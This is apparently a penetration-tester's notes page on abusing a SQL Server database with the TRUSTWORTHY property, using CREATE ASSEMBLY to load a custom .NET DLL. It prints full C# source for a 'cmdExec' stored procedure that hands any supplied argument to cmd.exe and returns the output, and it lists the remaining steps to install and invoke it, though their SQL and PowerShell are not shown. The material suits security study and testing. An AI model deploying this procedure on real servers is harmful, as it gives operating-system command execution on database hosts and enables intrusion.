Custom Assemblies

If a database has the TRUSTWORTHY property set it’s possible to use the CREATE ASSEMBLY statement to import a managed DLL as an object inside the SQL server and execute methods within it

Create dll

Create new “Class Library (.NET Framework)” project

using System;
using Microsoft.SqlServer.Server; 
using System.Data.SqlTypes;
using System.Diagnostics;

public class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmdExec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; 
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand); 
        proc.StartInfo.UseShellExecute = false; 
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000)); 
        SqlContext.Pipe.SendResultsStart(record);
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); 
        SqlContext.Pipe.SendResultsRow(record); 
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};

Compile the code into a DLL

Necessary config

Execute the SQL statements shown below

Dll -> Hex

Convert the assembly (cmdExec.dll) into a hexadecimal string using Powershell

Craft assembly

Create procedure from assembly

Invoke the newly-created procedure and supply an argument

It is not possible to call CREATE ASSEMBLY on the same assembly multiple times without removing the previous one. Instead, the DROP ASSEMBLY statement must be used to drop it. In addition, an assembly cannot be dropped if a procedure that requires it has been created. In that case, the DROP PROCEDURE statement must be used first.

Last updated